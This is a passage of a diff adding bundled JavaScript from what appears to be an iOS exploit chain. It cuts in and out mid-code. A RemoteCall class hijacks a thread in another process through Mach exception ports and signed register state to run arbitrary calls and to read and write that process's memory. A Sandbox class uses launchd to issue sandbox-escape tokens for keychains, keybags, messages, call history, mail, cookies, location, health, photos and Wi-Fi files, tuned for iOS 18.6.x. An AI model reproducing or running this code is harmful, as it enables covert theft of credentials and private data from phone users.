0x0n; + //let retries = 0n; + //while (true && !kstack && retries < 100000n) + //{ + // //Native.callSymbol("usleep",100n); + // kstack = Thread.getStack(machThreadAddr); + // retries++; + //} + kstack = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getStack(machThreadAddr); + if (!kstack) + { + console.log(TAG,`Failed to get kstack. Retry...`); + continue; + } + //console.log(TAG,`kstack:${Utils.hex(kstack)}`); + // Waiting a bit longer to make sure pointer is valid + //Native.callSymbol("usleep",10000n); + //console.log(TAG,`Current mutex:${Utils.hex(Thread.getMutex(this.#dummyThreadAddr))}`); + //uwrite64(threadmem + 0x100n,0x0n); // instead of free + let kernelSPOffset = BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE * 12); + let kernelSP = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(kstack + kernelSPOffset); + if (!kernelSP) { + console.log(TAG, "Failed to get SP. Retry..."); + continue; + } + //console.log(TAG,`kernelSP:${Utils.hex(kernelSP)}`); + //Native.callSymbol("usleep",20000n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep",100n); + //let data = Native.callSymbol("malloc",0x1000n); + //console.log(TAG,`Before reading from page`); + let dataBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].readBuff(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + 0x3000n, 0x1000); + if (!dataBuff) { + console.log(TAG, "Failed to read from kernel SP. Aborting..."); + break; + } + //console.log(TAG,`Second read finished succesfully`); + //Native.callSymbol("usleep",100n); + //let dataBuff = Native.read(data,0x1000); + //Native.callSymbol("free",data); + + //let troPointer = Native.mem; + let buffer = new ArrayBuffer(8); + const view = new DataView(buffer); + view.setBigUint64(0,this.#dummyThreadTro,true); + let found = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].memmem(dataBuff,buffer); + //console.log(TAG,`found:${Utils.hex(found)}`); + found = BigInt(found) + 0x3000n; + let correctTro = false; + let val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + found + 0x18n, val, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readPtr(val); + if(val == 0x1002) + correctTro = true; + else { + console.log(TAG, "Wrong tro. Retry..."); + continue; + } + //console.log(TAG,`Wrong tro, skipping this thread`); + if (found && correctTro) + { + //console.log(TAG,`Found TRO!`); + if(_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTask(currThread) == this.#taskAddr) + { + let tro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(currThread); + //console.log(TAG,`tro:${Utils.hex(tro)}`); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write64(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + BigInt(found), tro); + success = true; + break; + } + else + { + console.log(TAG,`got empty tro, skip writing`); + } + } + else + { + console.log(TAG, `didnt find tro for ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)}`); + } + } + + //console.log(TAG,`Injecting into:${Utils.hex(currThread)}`); + // Set LCK_MTX_NEEDS_WAKEUP so that setter would be woken up by the turnstile of the lock on next use. + _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, 0x40000000); // LCK_MTX_NEEDS_WAKEUP + + //Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + // This will wake up setter + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_set_exception_ports", this.#dummyThreadMach, 0n, exceptionPort , libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES, BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64)); + //Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + //Native.callSymbol("usleep",40000n); + //console.log(TAG,`After second thread switch`); + //pthread_join(setExceptionThread, NULL); + //mpd_js_thread_join(th); + //free(data); + //console.log(TAG,`Finish injecting into:${Utils.hex(currThread)}`); + + if (migFilterBypass) + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000); + + return success; + } + + #doRemoteCallTemp( + timeout, + name, + x0 = 0n, + x1 = 0n, + x2 = 0n, + x3 = 0n, + x4 = 0n, + x5 = 0n, + x6 = 0n, + x7 = 0n) + { + let newTimeout = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MAX(10000,timeout); + //Calculate actual pc addr + let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name); + // First wait for the pending exception caused by previous state corruption, so we can the reply with a new state. + let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, newTimeout, false)) + { + console.log(TAG,`Don't receive first exception on original thread`); + return 0n; + } + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + this._lastLiveSP = exc.threadState.opaque_sp & 0x7fffffffffn; + // Set the new state + let newState = exc.threadState; + newState.registers.set(0,x0); + newState.registers.set(1,x1); + newState.registers.set(2,x2); + newState.registers.set(3,x3); + newState.registers.set(4,x4); + newState.registers.set(5,x5); + newState.registers.set(6,x6); + newState.registers.set(7,x7); + newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojanCreator); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + exc.threadState.registers.set(0,x0); + + // Don't wait for a new exception if timeout is < 0. Eg, when doing cleanup of trojan thread. + if (timeout < 0) + { + console.log(TAG,`Trojan thread cleanup`); + return 0n; + } + // Wait for the exception on LR corruption, so we can get return value of the call. + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, newTimeout, false)) + { + console.log(TAG,`Don't receive second exception on original thread`); + return 0n; + } + excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + let retValue = exc.threadState.registers.get(0); + + // Corrupt again PC so we can control flow for the next call. + newState = exc.threadState; + // Can be therotical used one previous implementation doesn't set LR + //signState(remoteCall->trojanThreadAddr, &newState, 0x101, 0); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + + return retValue; + } + + #doRemoteCallStable( + timeout, + name, + x0 = 0n, + x1 = 0n, + x2 = 0n, + x3 = 0n, + x4 = 0n, + x5 = 0n, + x6 = 0n, + x7 = 0n) + { + if (!this.#creatingExtraThread) + return this.#doRemoteCallTemp(timeout, name, x0, x1, x2, x3, x4, x5, x6, x7); + + //Calculate actual pc addr + let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name); + if (!pcAddr) { + console.log(TAG, "Unable to find symbol: " + name); + return 0n; + } + let newTimeout = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MAX(10000,timeout); + // First wait for the pending exception caused by previous state corruption, so we can the reply with a new state. + let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false)) + { + console.log(TAG,`Don't receive first exception on new thread`); + return 0n; + } + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + this._lastLiveSP = exc.threadState.opaque_sp & 0x7fffffffffn; + // Set the new state + let newState = exc.threadState; + newState.registers.set(0,x0); + newState.registers.set(1,x1); + newState.registers.set(2,x2); + newState.registers.set(3,x3); + newState.registers.set(4,x4); + newState.registers.set(5,x5); + newState.registers.set(6,x6); + newState.registers.set(7,x7); + newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojan); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + exc.threadState.registers.set(0, x0); + + // Don't wait for a new exception if timeout is < 0. Eg, when doing cleanup of trojan thread. + if (timeout < 0) + { + console.log(TAG,`Trojan thread cleanup`); + return 0n; + } + // Wait for the exception on LR corruption, so we can get return value of the call. + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false)) + { + console.log(TAG,`Don't receive second exception on new thread`); + return 0n; + } + excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + let retValue = exc.threadState.registers.get(0); + + // Corrupt again PC so we can control flow for the next call. + newState = exc.threadState; + // Can be therotical used one previous implementation doesn't set LR + //signState(remoteCall->trojanThreadAddr, &newState, 0x101, 0); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + + return retValue; + } + + call( + timeout, + pc, + x0 = 0n, + x1 = 0n, + x2 = 0n, + x3 = 0n, + x4 = 0n, + x5 = 0n, + x6 = 0n, + x7 = 0n) + { + //console.log(TAG, `call(${Utils.hex(pc)}, ${Utils.hex(x0)}, ${Utils.hex(x1)}, ${Utils.hex(x2)}, ${Utils.hex(x3)})`); + return this.#doRemoteCallStable(timeout, pc, x0, x1, x2, x3, x4, x5, x6, x7); + } + + #restoreTrojanThread(state) + { + let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, 20000, false)) + { + console.log(TAG,`Failed to receive first exception while restoring`); + return false; + } + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + state.opaque_flags = exc.threadState.opaque_flags; + state = this.#signState(this.#trojanThreadAddr, state,state.opaque_pc,state.opaque_lr); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, state, false); + return true; + } + + destroy() + { + try { + for (let i = 0; i < this.#threadList.length; i++) + _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]); + } catch (_) {} + if (this.#success) { + try { + this.#doRemoteCallStable(100, "munmap", this.#trojanMem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE); + } catch (_) {} + try { + if (this.#creatingExtraThread) + this.#doRemoteCallStable(-1, "pthread_exit"); + else + this.#restoreTrojanThread(this.#originalState); + } catch (_) {} + } + try { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#firstExceptionPort, 0n, 0n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#secondExceptionPort, 0n, 0n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_cancel", this.#dummyThread); + } catch (_) {} + } + + read(src, dst, size) + { + if (!src || !dst || !size) + return false; + + dst = BigInt(dst); + src = BigInt(src); + size = BigInt(size); + + //console.log(TAG, `read(): src=${Utils.hex(src)}, dst=${Utils.hex(dst)}, size=${size}`); + let until = src + size; + while (src < until) + { + size = until - src; + let offs = src & libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_MASK; + let copyCount = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MIN(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].round_page(src + 1n) - src, size); + let pageAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(src); + + let remotePage = this.#getShmemForPage(pageAddr); + if (!remotePage) { + console.log(TAG, "read() failed: unable to find remote page"); + return false; + } + + //console.log(TAG,`remotePage: remote=${Utils.hex(remotePage.remoteAddress)}, local=${Utils.hex(remotePage.localAddress)}, port=${Utils.hex(remotePage.port)}`); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("memcpy", dst, remotePage.localAddress + offs, copyCount); + + src += copyCount; + dst += copyCount; + } + return true; + } + + write(dst, src, size) + { + if (!src || !dst || !size) + return false; + + dst = BigInt(dst); + src = BigInt(src); + size = BigInt(size); + + let until = dst + size; + + //console.log(TAG, `write(): dst=${Utils.hex(dst)}, src=${Utils.hex(src)}, size=${size}`); + + while (dst < until) + { + size = until - dst; + let offs = dst & libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_MASK; + let copyCount = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MIN(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].round_page(dst + 1n) - dst, size); + let pageAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(dst); + + let remotePage = this.#getShmemForPage(pageAddr); + if (!remotePage) { + console.log(TAG, "write() failed: unable to find remote page"); + return false; + } + + //console.log(TAG,`remotePage: remote=${Utils.hex(remotePage.remoteAddress)}, local=${Utils.hex(remotePage.localAddress)}, offs=${offs}, length=${copyCount}, port=${Utils.hex(remotePage.port)}`); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("memcpy", remotePage.localAddress + offs, src, copyCount); + + dst += copyCount; + src += copyCount; + } + return true; + } + + writeStr(dst, str) + { + if (!str) + return false; + //return this.write(dst, Native.getCString(str), str.length + 1); + let mem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("malloc", str.length + 1); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].writeString(mem, str); + const ret = this.write(dst, mem, str.length + 1); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("free", mem); + return ret; + } + + read64(src) + { + if (!this.read(src, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE)) + return false; + const buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + const view = new DataView(buff); + return view.getBigUint64(0, true); + } + + write64(dst, val) + { + const buff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + const view = new DataView(buff); + view.setBigUint64(0, val, true); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, buff); + return this.write(dst, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + } + + mem() + { + return this.#trojanMem; + } + + lastLiveSP() + { + return this._lastLiveSP || 0n; + } + + pac(address,modifier) + { + return _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(this.#trojanThreadAddr, address, modifier); + } + + insertRight(port, right) + { + //console.log(TAG, "Insert right: " + Utils.hex(port)); + + const MACH_MSG_TYPE_COPY_SEND = 19; + + let msgBuff = new ArrayBuffer(24); + let msg = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"](msgBuff); + msg.msgh_id = 0x4141; + msg.msgh_remote_port = this.#localPort; + msg.msgh_local_port = port; + msg.msgh_size = 24; + msg.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, right); + + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, msgBuff); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_msg_send", libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem); + if (ret != 0) { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_error_string", ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readString(errString); + console.log(TAG, "insertRight: error while sending message: " + errString); + return 0; + } + + //TODO receive in remote task + msg.msgh_size = 0x100; + msg.msgh_local_port = this.#remotePort; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, msgBuff); + this.write(this.#trojanMem, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, 24); + + ret = this.#doRemoteCallStable(100, "mach_msg_receive", this.#trojanMem); + if (ret != 0) { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_error_string", ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readString(errString); + console.log(TAG, "insertRight: error while receiving message: " + errString); + return 0; + } + + this.read(this.#trojanMem, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n, 24); + let recvBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n, 24); + let recvMsg = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"](recvBuff); + //console.log(TAG, "Recv msg id: " + Utils.hex(recvMsg.msgh_id)); + //console.log(TAG, "Recv remote port: " + Utils.hex(recvMsg.msgh_remote_port)); + + ret = this.#doRemoteCallStable(100, "fileport_makefd", recvMsg.msgh_remote_port); + if (ret < 0) { + console.log(TAG, "insertRight: error with fileport_makefd"); + return 0; + } + //console.log(TAG, "Remote fileport_makefd: " + ret); + + return ret; + } + + #putShmemInCache(shmem) + { + for (let i=0; i { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Sandbox) +/* harmony export */ }); +/* harmony import */ var libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/FileUtils */ "./src/libs/JSUtils/FileUtils.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); +/* harmony import */ var _RemoteCall__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./RemoteCall */ "./src/libs/TaskRop/RemoteCall.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); + + +const TAG = "SANDBOX"; + +class Sandbox { + + static #launchdTask = null; + static #PathDictionary = { + // Communications + "/private/var/mobile/Library/AddressBook/":0, + "/private/var/mobile/Library/CallHistoryDB/":0, + "/private/var/mobile/Library/DoNotDisturb/":0, + "/private/var/mobile/Library/SMS/":0, + "/private/var/mobile/Library/Calendar/":0, + "/private/var/mobile/Library/Mail/":0, + "/private/var/mobile/Library/Voicemail/":0, + "/var/mobile/Library/Recordings":0, + + // Location + "/private/var/root/Library/Caches/locationd":0, + "/private/var/root/Library/Caches/locationd/":0, + "/private/var/mobile/Library/Caches/locationd/":0, + "/private/var/mobile/Library/Caches/com.apple.routined/":0, + + // Browser & Cookies + "/private/var/mobile/Library/Safari/":0, + "/private/var/mobile/Library/Cookies/":0, + "/private/var/mobile/Cookies/":0, + + // Credentials & WiFi + "/private/var/Keychains/":0, + "/var/Keychains/":0, + "/private/var/keybags/":0, + "/var/keybags/":0, + "/private/var/keybags/systembag.kb":0, + "/private/var/keybags/persona.kb":0, + "/private/var/keybags/usersession.kb":0, + "/private/var/keybags/backup/":0, + "/var/keybags/":0, + "/var/keybags/systembag.kb":0, + "/var/keybags/persona.kb":0, + "/var/keybags/usersession.kb":0, + "/var/keybags/backup/":0, + "/var/keybags/backup/backup_keys_cache.sqlite":0, + "/private/var/preferences/com.apple.wifi.known-networks.plist":0, + "/private/var/preferences/SystemConfiguration/":0, + "/private/var/preferences/SystemConfiguration/preferences.plist":0, + "/private/var/preferences/SystemConfiguration/com.apple.wifi.plist":0, + "/private/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist":0, + "/private/var/networkd/db/":0, + "/var/wireless/":0, + "/private/var/wireless/":0, + "/var/wireless/Library/":0, + "/var/wireless/Library/Caches/":0, + "/var/wireless/Library/Preferences/":0, + "/var/wireless/Library/Databases/":0, + "/var/wireless/Library/ControlCenter/":0, + "/private/var/wireless/Library/":0, + "/private/var/wireless/Library/Preferences/":0, + "/private/var/wireless/Library/Databases/":0, + "/private/var/wireless/Library/ControlCenter/":0, + "/private/var/mobile/Library/CoreDuet/":0, + "/private/var/mobile/Library/CoreDuet/People/":0, + "/private/var/mobile/Library/PersonalizationPortrait/":0, + "/var/log/":0, + "/private/var/log/":0, + "/var/db/":0, + "/private/var/db/":0, + "/var/run/":0, + "/private/var/run/":0, + + // Personal Data + "/private/var/mobile/Library/Notes/":0, + "/private/var/mobile/Library/Health/":0, + "/private/var/mobile/Media/":0, + "/private/var/mobile/Media/PhotoData/":0, + "/private/var/mobile/Media/DCIM/":0, + "/var/mobile/Media/":0, + "/var/mobile/Media/PhotoData/":0, + "/var/mobile/Media/DCIM/":0, + + // Device Info + "/private/var/root/Library/Lockdown/":0, + "/private/var/mobile/Library/Preferences/":0, + "/private/var/mobile/Library/Preferences/com.apple.commcenter.shared.plist":0, + "/private/var/mobile/Library/Preferences/com.apple.identityservices.idstatuscache.plist":0, + + // Accounts + "/private/var/mobile/Library/Accounts/":0, + + // Protected & Trust + "/private/var/protected/trustd/private/":0, + "/private/var/protected/trustd/private":0, + + // System & Apps + "/bin/":0, + "/Applications/":0, + "/private/var/containers/Bundle/Application/":0, + "/var/containers/Bundle/Application/":0, + "/private/var/containers/Shared/SystemGroup/":0, + "/private/var/mobile/Containers/Data/Application/":0, + "/var/mobile/Containers/Data/Application/":0, + "/private/var/mobile/Containers/Shared/AppGroup/":0, + + // Notifications & Logs + "/private/var/mobile/Library/UserNotificationsUI/NotificationListPersistentState.json":0, + "/private/var/mobile/Library/UserNotifications/":0, + "/private/var/mobile/Library/Logs/CrashReporter/":0, + "/private/var/mobile/Library/ExternalAccessory":0, + "/private/var/mobile/Library/Shortcuts/":0, + + // Temp directory for file operations + "/private/var/tmp/":0, + "/tmp/":0 + /* not allowed via launchd + "/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db":0, + "/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db-wal":0, + "/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db-shm":0 + */ + }; + + static initWithLaunchdTask(launchdTask) { + this.#launchdTask = launchdTask; + } + + static getTokenForPath(path, consume=false) + { + + if (!this.#launchdTask || !this.#launchdTask.success()) + return; + + //console.log(TAG,`Creating token for path:${path}`); + let memRemote = this.#launchdTask.mem(); + let pathRemote = memRemote; + this.#launchdTask.writeStr(pathRemote,path); + let appSandboxReadExt = "com.apple.app-sandbox.read-write"; + let sandboxExtensionEntry = memRemote + 0x100n; + this.#launchdTask.writeStr(sandboxExtensionEntry,appSandboxReadExt); + let tokenRemote = this.#launchdTask.call(100, "sandbox_extension_issue_file",sandboxExtensionEntry,pathRemote,0n,0n); + if (!tokenRemote) { + console.log(TAG, "Unable to create token for: " + path); + return null; + } + //console.log(TAG,`token:${Utils.hex(tokenRemote)}`); + let token = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].mem; + this.#launchdTask.read(tokenRemote,token,512n); + if(consume) + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_consume",token); + token = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].readString(token,512); + //console.log(TAG,`token:${token}`); + if(!token || !token.includes("com.apple.app-sandbox.read-write")) + { + console.log(TAG,`Found weird token:${token}, not registering`); + return null; + } + return token; + } + + static createTokens() + { + // 18.6.1+ → iOS18nui full token path (slim issue+consume+usleep reboots A14/18.6.2). + // 18.6.0 → keep lab slim (historically safer on some A13). + function __tokIosPat() { + try { + var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"]; + var sizePtr = N.callSymbol("calloc", 1, 8); + if (!sizePtr || sizePtr === 0n) return -1; + var rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", 0, sizePtr, 0, 0)); + if (rc !== 0) { N.callSymbol("free", sizePtr); return -1; } + var sz = Number(N.readPtr(BigInt(sizePtr))); + if (sz <= 0 || sz > 64) { N.callSymbol("free", sizePtr); return -1; } + var buf = N.callSymbol("malloc", BigInt(sz + 1)); + if (!buf || buf === 0n) { N.callSymbol("free", sizePtr); return -1; } + N.write64(sizePtr, BigInt(sz + 1)); + rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", buf, sizePtr, 0, 0)); + var s = ""; + if (rc === 0) { try { s = N.readString(buf, sz).replace(/\0/g, ""); } catch (_rs) {} } + N.callSymbol("free", buf); + N.callSymbol("free", sizePtr); + var m = String(s).match(/^18\.6(?:\.(\d+))?/); + if (!m) return -1; + return m[1] ? (parseInt(m[1], 10) || 0) : 0; + } catch (_e) { return -1; } + } + var __pat = __tokIosPat(); + var __useNuiTok = (__pat >= 1); + console.log(TAG, "Create tokens mode=" + (__useNuiTok ? "nui-full" : "lab-slim") + " iosPat=" + __pat); + + if (!__useNuiTok) { + // Lab slim: launchd temp-RemoteCall dies on A13 if we issue 200+ sandbox tokens. + console.log(TAG, "Create tokens (lab slim)..."); + const slim = [ + "/private/var/Keychains/", + "/var/Keychains/", + "/private/var/Keychains/keychain-2.db", + "/private/var/Keychains/keychain-2.db-wal", + "/private/var/Keychains/keychain-2.db-shm", + "/var/Keychains/keychain-2.db", + "/var/Keychains/keychain-2.db-wal", + "/var/Keychains/keychain-2.db-shm", + "/private/var/Keychains/System.keybag", + "/private/var/Keychains/Backup.keybag", + "/private/var/Keychains/persona.kb", + "/private/var/Keychains/usersession.kb", + "/private/var/Keychains/device.kb", + "/private/var/keybags/", + "/var/keybags/", + "/private/var/keybags/systembag.kb", + "/private/var/keybags/persona.kb", + "/private/var/tmp/", + "/tmp/", + "/bin/", + "/Applications/", + "/private/var/containers/Bundle/Application/", + "/var/containers/Bundle/Application/", + "/private/var/mobile/Containers/Data/Application/", + "/var/mobile/Containers/Data/Application/", + "/private/var/mobile/Containers/Shared/AppGroup/", + "/private/var/containers/Shared/SystemGroup/", + "/private/var/mobile/Media/", + "/private/var/preferences/SystemConfiguration/", + "/private/var/preferences/SystemConfiguration/preferences.plist", + "/private/var/preferences/SystemConfiguration/com.apple.wifi.plist", + "/private/var/preferences/com.apple.wifi.known-networks.plist", + "/var/wireless/", + "/private/var/wireless/", + ]; + let ok = 0; + for (let i = 0; i < slim.length; i++) { + const key = slim[i]; + try { + const tok = this.getTokenForPath(key, false); + this.#PathDictionary[key] = tok; + this.getTokenForPath(key, true); + if (tok) ok++; + } catch (_) {} + try { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("usleep", 80000); + } catch (_) {} + } + console.log(TAG, "Create tokens slim done ok=" + ok + "/" + slim.length); + return; + } + + // ===== iOS18nui createTokens (proven 18.6.1 / 18.6.2) ===== + console.log(TAG, "Create tokens (nui-full)..."); + function __tokProg(msg) { + try { console.log(TAG, msg); } catch (_c) {} + try { if (typeof p7_flog === "function") p7_flog("PEMK-B1 tok " + msg); } catch (_p) {} + try { if (typeof LOG === "function") LOG("[PE] tok " + msg); } catch (_l) {} + } + var __tokSafe = (function(path, consume) { + try { + return this.getTokenForPath(path, consume); + } catch (eTok) { + __tokProg("FAIL " + path + " " + String(eTok).slice(0, 80)); + return null; + } + }).bind(this); + let keys = Object.keys(this.#PathDictionary); + __tokProg("dict begin n=" + keys.length); + for (let ki = 0; ki < 